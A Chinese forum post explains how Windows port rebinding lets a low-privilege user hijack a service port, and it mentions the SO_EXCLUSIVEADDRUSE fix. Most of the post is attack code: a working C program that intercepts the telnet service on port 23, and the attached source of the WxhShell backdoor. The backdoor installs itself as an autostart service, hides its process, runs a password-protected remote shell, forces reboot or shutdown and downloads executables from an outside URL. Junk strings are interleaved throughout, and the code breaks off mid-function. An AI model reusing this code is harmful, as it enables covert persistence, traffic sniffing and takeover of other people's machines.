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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: ~r|.GY  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); .R:eN&Y 8y  
v*#Z{)r  
  saddr.sin_family = AF_INET; {J|P2a[  
(-"A5(X:/  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); %yptML9  
,riwxl5*E/  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); )w/f 'fq  
62Jn8DwAT  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 3)GXu>) t  
u}#rS%SF*  
  这意味着什么?意味着可以进行如下的攻击: p>R F4  
y(N-1  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 y )/d-  
u4Vc:n  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) \ fwf\&  
)\^%w9h  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 d8Upr1_  
hRA.u'M  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  Qaagi `  
{)F-US  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 l:faI&o.@  
^hbh|Du  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。  )?4m}  
V <k_Q@K  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 u1nv'\*  
c~c3;  
  #include <5L!.Ci  
  #include $H5PB' b  
  #include `D#l(gZ  
  #include    6"%[s@C  
  DWORD WINAPI ClientThread(LPVOID lpParam);   q2,@>#  
  int main() +ES.O]?>  
  { 9|'bPOKe  
  WORD wVersionRequested; '#q"u y  
  DWORD ret; g"zk14'  
  WSADATA wsaData; $SXF>n{}  
  BOOL val; Q~*A`h#  
  SOCKADDR_IN saddr; ((X"D/F]  
  SOCKADDR_IN scaddr; # &M  
  int err; nP0} vX)<  
  SOCKET s; w7%N=hL1   
  SOCKET sc; yy #Xs:/  
  int caddsize; R~c(^.|r  
  HANDLE mt; J-X5n 3I&  
  DWORD tid;   ]enqkiS  
  wVersionRequested = MAKEWORD( 2, 2 ); !!` zz  
  err = WSAStartup( wVersionRequested, &wsaData ); O<%U*:B  
  if ( err != 0 ) { 0<>iMrD  
  printf("error!WSAStartup failed!\n"); ([$F5 q1TR  
  return -1; _I'O4s1S  
  } ClfpA?vv  
  saddr.sin_family = AF_INET; cHR}`U$  
   -Fl3m  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 .h*&$c/l  
` D4J9;|;]  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); SX F F  
  saddr.sin_port = htons(23); r3*wH1n  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) mexI }  
  { h]'fX  
  printf("error!socket failed!\n"); v4Nb/Y  
  return -1; dxASU|Yo9  
  } TyK; q{  
  val = TRUE; SQt$-<>4\  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 s&fU|Jk8  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) r&TxRsg{  
  { !`aodz*PO  
  printf("error!setsockopt failed!\n"); [NKWudq  
  return -1; ? X:RrZ:/  
  } wvq<5gy}  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; NS&~n^*k<  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 DO %YOv  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 1,pg:=N9  
+_`F@^R_   
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) cBm3|@7  
  { }!.7QpA$  
  ret=GetLastError(); -(1e!5_-@  
  printf("error!bind failed!\n"); tv;3~Y0i  
  return -1; -7+Fb^"L  
  } :ss9-  
  listen(s,2); [hFyu|I !  
  while(1) Z:n33xh=<  
  { :F<a~_k  
  caddsize = sizeof(scaddr); =,?@p{g}  
  //接受连接请求 ZW\h,8%  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); bxyU[`  
  if(sc!=INVALID_SOCKET) ME |"pJ  
  { _wX'u,HrC  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); +osY iP5  
  if(mt==NULL) '.^JN@  
  { Fx.uPY.a  
  printf("Thread Creat Failed!\n"); Q!|71{5U  
  break; / Sp+MB9  
  } S"_vD<q  
  } r+Z+x{  
  CloseHandle(mt); 1}'Jbj"/  
  } QeQbO  
  closesocket(s); $/d~bk@=l  
  WSACleanup(); w]%r]PwU+  
  return 0; _ !Ph1  
  }   g.9MPN  
  DWORD WINAPI ClientThread(LPVOID lpParam) wTTQIo 60  
  { vJcvyz#%1  
  SOCKET ss = (SOCKET)lpParam; 61C&vm  
  SOCKET sc; 1yE~#KpH  
  unsigned char buf[4096]; |a"(Ds2U  
  SOCKADDR_IN saddr; |%M%j'9  
  long num; d&U;rMEv  
  DWORD val; rhUZ9Fdv  
  DWORD ret; 89 lPeFQ`  
  //如果是隐藏端口应用的话,可以在此处加一些判断 o<!#1#n+:  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   pcEB-boI9  
  saddr.sin_family = AF_INET; JHMj4Zkp  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); LBM:>d5  
  saddr.sin_port = htons(23); V5A7w V3~  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) yBr{nFOgdY  
  { uZ'5&k96T  
  printf("error!socket failed!\n"); XM_S"  
  return -1; wYF)G;[wM  
  } ^.<IT"  
  val = 100; DdFVOs|  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) L ~;_R*Th  
  { v'iQLUgI  
  ret = GetLastError(); , D&FCs%v  
  return -1; nF//y}  
  } t71 0sWh{  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 4 A  
  { F 'h[g.\}  
  ret = GetLastError(); )c!f J7o:  
  return -1; K+GjJ8  
  } O0Z'vbFG  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) + 6}FUi!"e  
  { */S ,CV  
  printf("error!socket connect failed!\n"); Yhx~5p  
  closesocket(sc); MQ,2v. vZ.  
  closesocket(ss); ,Y&kW'2  
  return -1; =lffr?#&B  
  } 0u0Hl%nl  
  while(1) 2s(K4~ee  
  { !-7(.i-  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 {uhw ^)v  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 "w7:{E5e  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 &0o&!P8CB  
  num = recv(ss,buf,4096,0); -BjB>Vt  
  if(num>0) @cXY"hP`  
  send(sc,buf,num,0); 0Ifd!  
  else if(num==0) lOE bh  
  break; 66BsUA.h  
  num = recv(sc,buf,4096,0); '~a!~F~>  
  if(num>0) Y- w5S|!  
  send(ss,buf,num,0); 2Nj0 Hqjq  
  else if(num==0) G N{.R7  
  break; `"D7XC0x  
  } S5uV\Y/A  
  closesocket(ss); B)c.`cfr*\  
  closesocket(sc); Cvl"")ZZ`  
  return 0 ; !WIL|\jbh  
  } LAvAjvRc  
yC _X@o-n  
Fs=nAn#  
========================================================== HAU8H'h  
9:esj{X  
下边附上一个代码,,WXhSHELL 4e5Ka{# <  
00 $W>Gr  
========================================================== -MU^%t;-  
`rM-b'D  
#include "stdafx.h" EGa}ml/G  
WM"I r1  
#include <stdio.h> czT$mKj3  
#include <string.h> Aimgfxag  
#include <windows.h> ukPV nk  
#include <winsock2.h> zz$*upxK  
#include <winsvc.h> bZKK' d$I  
#include <urlmon.h> \dCdyl6V  
<ZnAPh  
#pragma comment (lib, "Ws2_32.lib") t<`BaU  
#pragma comment (lib, "urlmon.lib") ?HBc7$nW  
aFbA=6  
#define MAX_USER   100 // 最大客户端连接数 GCIm_ n  
#define BUF_SOCK   200 // sock buffer fa6L+wt4O  
#define KEY_BUFF   255 // 输入 buffer N8!B2uPQ  
>=B8PK+<  
#define REBOOT     0   // 重启 "%sW/ph  
#define SHUTDOWN   1   // 关机 #q=?Zu^Da  
cy? EX~s4  
#define DEF_PORT   5000 // 监听端口 !!P)r1=g  
3L;)asF  
#define REG_LEN     16   // 注册表键长度 %i96@ 6O  
#define SVC_LEN     80   // NT服务名长度 |M+ !O93  
}t-{,0  
// 从dll定义API 7.]xcJmt>'  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); D!y Cnq=8  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ]~|zY5i!  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); u'iOa  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); /njN*rhx&Z  
ap=_odW~p  
// wxhshell配置信息 rfK%%-  
struct WSCFG { 8" \>1{^  
  int ws_port;         // 监听端口 Nc]]e+N#V  
  char ws_passstr[REG_LEN]; // 口令 '\\J95*`  
  int ws_autoins;       // 安装标记, 1=yes 0=no qUVV374N  
  char ws_regname[REG_LEN]; // 注册表键名 g~`UC  
  char ws_svcname[REG_LEN]; // 服务名 PvO>}(=  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 K.1#cf ^'  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 x2 tx{Z  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 bhFzu[B  
int ws_downexe;       // 下载执行标记, 1=yes 0=no iHR?]]RF  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" WSh+5](:  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 qf'uXH  
]xFd_OHdb  
}; @(ev``L5g  
4|*_mC  
// default Wxhshell configuration A}W&=m8!  
struct WSCFG wscfg={DEF_PORT, ;Cv x48  
    "xuhuanlingzhe", G<>`O;i  
    1, fUE jl  
    "Wxhshell", 2!l)% F`  
    "Wxhshell", /#.6IV(  
            "WxhShell Service", &"25a[x{B  
    "Wrsky Windows CmdShell Service", tcmG>^YM  
    "Please Input Your Password: ", SB]|y -su  
  1, 0;]tC\D1  
  "http://www.wrsky.com/wxhshell.exe", eH75: `  
  "Wxhshell.exe" z m_mLk$4H  
    }; `L0}^ |`9  
+A/n <VH  
// 消息定义模块 k(V#{ YP  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; S3.Pqp_<  
char *msg_ws_prompt="\n\r? for help\n\r#>"; O.!|;)HQ  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 2#p6.4h=  
char *msg_ws_ext="\n\rExit."; rq+E"Uj?  
char *msg_ws_end="\n\rQuit."; )x8Izn  
char *msg_ws_boot="\n\rReboot..."; tEZ@v(D  
char *msg_ws_poff="\n\rShutdown..."; A5 /Q:8b  
char *msg_ws_down="\n\rSave to "; X}_kLfP/9  
&;*jMu6  
char *msg_ws_err="\n\rErr!"; {Pdy KgM  
char *msg_ws_ok="\n\rOK!"; `a  
zQ5'q  
char ExeFile[MAX_PATH]; U Tw\_s  
int nUser = 0; !,|yrB&`S  
HANDLE handles[MAX_USER]; 8NA2C.gOZ  
int OsIsNt; +Z /Pj_.o  
td%EbxJK]`  
SERVICE_STATUS       serviceStatus; :+Y+5:U]  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; s [@II]  
W}XDzR'<  
// 函数声明 7H9&\ur9+  
int Install(void); "1WwSh}Z  
int Uninstall(void); /tDwgxJ  
int DownloadFile(char *sURL, SOCKET wsh); MejM(o_kk  
int Boot(int flag); OZDnU6  
void HideProc(void); e=Kf<ZQt  
int GetOsVer(void); sBB>O@4  
int Wxhshell(SOCKET wsl); 6 [w_ /X"  
void TalkWithClient(void *cs); D O#4E<]5  
int CmdShell(SOCKET sock); I6X_DPY  
int StartFromService(void); m.Yj{u8zX  
int StartWxhshell(LPSTR lpCmdLine); &n91f  
c|IH|y  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); Z!v)zH\  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); gT?:zd=;  
X\V1c$13CK  
// 数据结构和表定义 L >Y%$|4  
SERVICE_TABLE_ENTRY DispatchTable[] = ~*ST fyFw  
{ _e7 Y R+  
{wscfg.ws_svcname, NTServiceMain}, QS\H[?M$  
{NULL, NULL} R:fERj<s  
}; MB%yC]w8  
{p=`"H>  
// 自我安装 ?45bvkCT  
int Install(void) Hj2E-RwG  
{ 0 z.oPV@  
  char svExeFile[MAX_PATH]; 3E) X(WJY  
  HKEY key; ko2?q  
  strcpy(svExeFile,ExeFile); luY#l!mx3  
XE6sFU  
// 如果是win9x系统,修改注册表设为自启动 j.= VZ  
if(!OsIsNt) { Lzm9Kh;  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ER;?[!  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); :G!i]1x<  
  RegCloseKey(key); . =yF  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Hyh$-iCa  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); *S%~0=  
  RegCloseKey(key); x2%xrlv<J/  
  return 0; 3"!h+dXw  
    } =C gcRxng  
  } wxS.!9K  
} ga%gu9  
else { z.P<)[LUc  
IT!u4iH[  
// 如果是NT以上系统,安装为系统服务 +" |?P  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); {(Jbgsxm  
if (schSCManager!=0) #Ie/|  
{ !Z]#1"A8  
  SC_HANDLE schService = CreateService :qy< G!o  
  ( Qqm'Yom%T  
  schSCManager, rom`%qp^  
  wscfg.ws_svcname, +#ufW%ZG  
  wscfg.ws_svcdisp, -Ri/I4Xj  
  SERVICE_ALL_ACCESS, <A@}C+  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , e98f+,E/  
  SERVICE_AUTO_START, .FYxVF.  
  SERVICE_ERROR_NORMAL, w#0/&\ b=  
  svExeFile, }$ C;ccWL  
  NULL, Kg?(Ax4  
  NULL, "Te[R%aP  
  NULL, $`;1][OD  
  NULL, w=JO$7  
  NULL icS% ])3LF  
  ); ?V&# nA  
  if (schService!=0) r9sq3z|%  
  { V7DMn@Ckw  
  CloseServiceHandle(schService); 2 8>  
  CloseServiceHandle(schSCManager); uC$!|I  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); /;E{(%U)t  
  strcat(svExeFile,wscfg.ws_svcname);  r`-=<@[  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 5! -+5TJI  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); w eX%S&#?  
  RegCloseKey(key); _?~EWT   
  return 0; F)K&a  
    } #w]UP#^io  
  } y Ny,$1  
  CloseServiceHandle(schSCManager); kZ5;Fe\*  
} S,0h &A9  
} ^-nL!>FYY  
c`,'[Q5(O  
return 1; 7C / ^ Gw  
} W=G8l%  
%/;*Ewwb  
// 自我卸载 qL2!\zt>g  
int Uninstall(void) <Fo~|Nh|  
{ !1m7^3l7j  
  HKEY key; h8XoF1wuw  
-8zdkm8k  
if(!OsIsNt) { tEuVn5  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Y' FB {  
  RegDeleteValue(key,wscfg.ws_regname); zy'e|92aO  
  RegCloseKey(key); E5iNuJj=f  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 1L;3e@G  
  RegDeleteValue(key,wscfg.ws_regname); .o#A(3&n  
  RegCloseKey(key); nQ+$  
  return 0; v]h^0WU  
  } 0q6xXNAX  
} CXiDe)|<E  
} n?(sn  
else { {Qba`lOkq  
~~r7TPq  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); p!/!ZIo  
if (schSCManager!=0) @b&_xT  
{ um,G^R   
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ]621Z1  
  if (schService!=0) 4$oDq  
  { dD351!-  
  if(DeleteService(schService)!=0) { 0<FT=tKm  
  CloseServiceHandle(schService); PRal>s&f  
  CloseServiceHandle(schSCManager); j82x$I*  
  return 0; YQ|o0>  
  } R :*1Y\o(  
  CloseServiceHandle(schService); q:cCk#ra  
  } :8t;_f  
  CloseServiceHandle(schSCManager); )ko[_OJj  
} Bv xLbl}  
} =JaxT90x  
]y9u5H^  
return 1; \RS0mb  
} )tm%0z7R  
2WUl8?f2Y  
// 从指定url下载文件 1<G,0Lt  
int DownloadFile(char *sURL, SOCKET wsh) &|fPskpy  
{ XwZR Kh\>=  
  HRESULT hr; ,K15KN.'  
char seps[]= "/"; RF[Uy?es  
char *token; s5\<D7  
char *file; sK@]|9ciQ  
char myURL[MAX_PATH]; dv cLZK  
char myFILE[MAX_PATH]; 50e vWD  
0" F\ V  
strcpy(myURL,sURL); %bp'`B=  
  token=strtok(myURL,seps); ^U9b)KA  
  while(token!=NULL) NT=)</v  
  { Df@b;-E  
    file=token; ]T=o>%  
  token=strtok(NULL,seps); 9 K>~9Za  
  } ,7Dm p7  
Q k2*=BVh  
GetCurrentDirectory(MAX_PATH,myFILE); nx Jx8d"  
strcat(myFILE, "\\"); f5z*AeI  
strcat(myFILE, file); 2)Q%lEm`SP  
  send(wsh,myFILE,strlen(myFILE),0); KBDNK_7A  
send(wsh,"...",3,0); &})Zqc3Lqk  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); yu}T><Wst  
  if(hr==S_OK) w~~[0e+E  
return 0; q*<FfO=eQ  
else e$`;z%6y  
return 1; }XD=N#p@z  
0.wNa~_G|  
} bE!z[j]  
b63DD(  
// 系统电源模块 +h? Gps  
int Boot(int flag) ]u.)6{  
{ aJ J)ZP2+  
  HANDLE hToken; *XI- nH  
  TOKEN_PRIVILEGES tkp; Et'&}NjI  
\I7&F82e  
  if(OsIsNt) { *QT7\ht3  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); t(99m=9>  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); HggINMG  
    tkp.PrivilegeCount = 1; \0;EHB  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; &hE k m  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); JSoInR1E  
if(flag==REBOOT) { ikb;,Js  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) p#N2K{E  
  return 0; ~ Ofn&[G  
} nTE\EZ+=2  
else { xUPg~c0  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) Iv{uk$^7S  
  return 0; 5 Nt9'"  
} sWq@E6,I  
  } "`V:4uz  
  else { zUA -  
if(flag==REBOOT) { 0?''v>%  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) >CYz6G j  
  return 0; **]=!W  
} u)~::2BXAn  
else { L2%npps  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) be]Zx`)k  
  return 0; 7Q|v5@;pU  
} {A\y 4D@  
} L,3%}_  
~Efi|A/  
return 1; #;\tgUQ  
} t?FPmbj v  
yG<Q t+D  
// win9x进程隐藏模块 iwfH~  
void HideProc(void) lGEfI&1%!  
{ ]eI|_O^u  
T9AFL;1  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); V0*9Tnc  
  if ( hKernel != NULL ) i+|/V&#3[  
  { H,)2Ou-Wn  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); R}$A>)%dx  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ?dvcmXR  
    FreeLibrary(hKernel); }^PdW3O*m,  
  } t.] e8=dE  
cK t8e^P  
return; 9U!#Y%*T  
} F"a31`L>H  
rlkg.e6  
// 获取操作系统版本 Tl*FK?)MC^  
int GetOsVer(void) E>rWm_G  
{ ys9MV%*  
  OSVERSIONINFO winfo; [4HOWM>\  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); T]?QCf  
  GetVersionEx(&winfo); !}Ty"p`  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) Jek)`D  
  return 1; WC 5v#*Jd  
  else z.*=3   
  return 0; ^/jALA9!  
} 1{bsh?zd  
_"sFLe{  
// 客户端句柄模块 @Ke3kLQ_\X  
int Wxhshell(SOCKET wsl) 3EX41)u  
{ M-NY&@Nj  
  SOCKET wsh; l}mzCIw%  
  struct sockaddr_in client; N2`u ]*"0  
  DWORD myID; lof}isOz  
&^JY  
  while(nUser<MAX_USER) Z sbE  
{ ]}jY] l  
  int nSize=sizeof(client); fAV=O%^  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 3gY4h*|`<  
  if(wsh==INVALID_SOCKET) return 1; 30$Q5]T  
<@:LONe<  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); BW%"]J  
if(handles[nUser]==0) 9h 0^_|"  
  closesocket(wsh); /(skIvE|  
else !_=3Dz  
  nUser++; ]0)=0pc]E  
  } [<7Vv_\Q  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); |.[4$C  
#[ hJm'G  
  return 0; 0Xw3h^%  
} $5a%hK  
7eekTh, ?  
// 关闭 socket U^{'"x+  
void CloseIt(SOCKET wsh) '}T6e1#JV  
{ =H2.1 :'  
closesocket(wsh); EcW$'>^  
nUser--; cakb.Q  
ExitThread(0); ,-{ 2ai_  
} $@:z4S(  
7nL3+Pq  
// 客户端请求句柄 \~bE|jWbj  
void TalkWithClient(void *cs) '1yy&QUZq  
{ (@1*-4l  
hh>mX6A  
  SOCKET wsh=(SOCKET)cs; ckPI^0A!  
  char pwd[SVC_LEN]; f")*I  
  char cmd[KEY_BUFF]; J|2OmbJe  
char chr[1]; QGV~Y+  
int i,j; ? $LKn2C  
b ZEyP W  
  while (nUser < MAX_USER) { !{L`Zd;C>w  
+yd(t}H@  
if(wscfg.ws_passstr) { BKQI|i  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); -wjvD8fL  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); UP}5Eh  
  //ZeroMemory(pwd,KEY_BUFF); \;Ywr3  
      i=0; 53cW`F  
  while(i<SVC_LEN) { B!cg)Y?.bd  
-(fvb  
  // 设置超时 '@<aS?@!t  
  fd_set FdRead; pu +"bq  
  struct timeval TimeOut; aPMqJ#fIr  
  FD_ZERO(&FdRead); Q1?G7g]N  
  FD_SET(wsh,&FdRead); 9@."Y>1G  
  TimeOut.tv_sec=8; +aWI"d--h  
  TimeOut.tv_usec=0; uk~4R@=&H  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ;/8oP ;X2  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); $}G03G@  
}{Ncww!iN  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); +\a`:QET  
  pwd=chr[0]; RjS&^u aP  
  if(chr[0]==0xd || chr[0]==0xa) { $G5;y>  
  pwd=0; Zom7yI  
  break; O8N\  
  } Xbb('MoI63  
  i++; -S7rOq2Li  
    } $6X CHVx  
N3Jfp3_b@  
  // 如果是非法用户,关闭 socket zp2IpYQ,3  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); !`G7X  
} (&G4@Vd  
^"h`U'YC  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); tGs=08`  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); \=yx~c_$L  
\HB4ikl  
while(1) { ;O2r+n  
|? !Ew# w  
  ZeroMemory(cmd,KEY_BUFF); "gD)Uis  
(f  0p   
      // 自动支持客户端 telnet标准   3P!Jw7e  
  j=0; FSqS]6b3  
  while(j<KEY_BUFF) { n(gw%w+\7  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 0vs9# <&V  
  cmd[j]=chr[0]; q=5#t~?  
  if(chr[0]==0xa || chr[0]==0xd) { +FWkhmTv  
  cmd[j]=0; Gv!* Qk4  
  break; ~$N%UQn?b#  
  } ~5HI9A4^  
  j++; K>TdN+Z}=  
    } UpgY}pf}  
rZDlPp>BPZ  
  // 下载文件 %/:{x()G  
  if(strstr(cmd,"http://")) { Z%Nl<i  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); dE+xU(\, w  
  if(DownloadFile(cmd,wsh)) Syn>;FX  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 9'I I!  
  else Uu9\;f  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); @L8('8~d  
  } #L{QnV.3  
  else { ;K:)R_H  
aZYa<28?L%  
    switch(cmd[0]) { {ZH9W  
  &P%3'c}G  
  // 帮助 vv  _I o  
  case '?': { 1FS Jqad  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); \k1psqw^O  
    break; J(0.eD91v  
  } h$p]#]uMb  
  // 安装 H[guJ)4#@  
  case 'i': { i6zfr|`@  
    if(Install()) e`#c[lbAAM  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Y?2I /  
    else M`ETH8Su=  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 3y%B&W,sm  
    break; c,1Yxg]|  
    } ?Ovl(4VG  
  // 卸载 cbl2D5s+i]  
  case 'r': { 1pC!F ;9Oo  
    if(Uninstall()) FrO)3 1z  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Vt:]D?\3  
    else m<wng2`NTv  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); u0^: XwZ!  
    break; E0^~i:M k  
    } *r)/.rK_  
  // 显示 wxhshell 所在路径 E8WOXoP(  
  case 'p': { LoLmT7  
    char svExeFile[MAX_PATH]; 8oG0tX3i  
    strcpy(svExeFile,"\n\r"); 8H3|i7.1h  
      strcat(svExeFile,ExeFile); @eN x:}  
        send(wsh,svExeFile,strlen(svExeFile),0); )eNR4nF  
    break; maLKUSgo  
    } uYlC*z{  
  // 重启 jR S0(8  
  case 'b': { /i$ mIj`  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ^zHBDRsb2F  
    if(Boot(REBOOT)) .N8AkQ(Ok  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); V?v,q'? $  
    else { C`3}7qi|C  
    closesocket(wsh); 2/qP:3)  
    ExitThread(0); (bi}?V*  
    } @^:R1c![s  
    break; uh3%}2'P  
    } G}Cze Lw  
  // 关机 ow*) 1eo  
  case 'd': { ci>+Zi6  
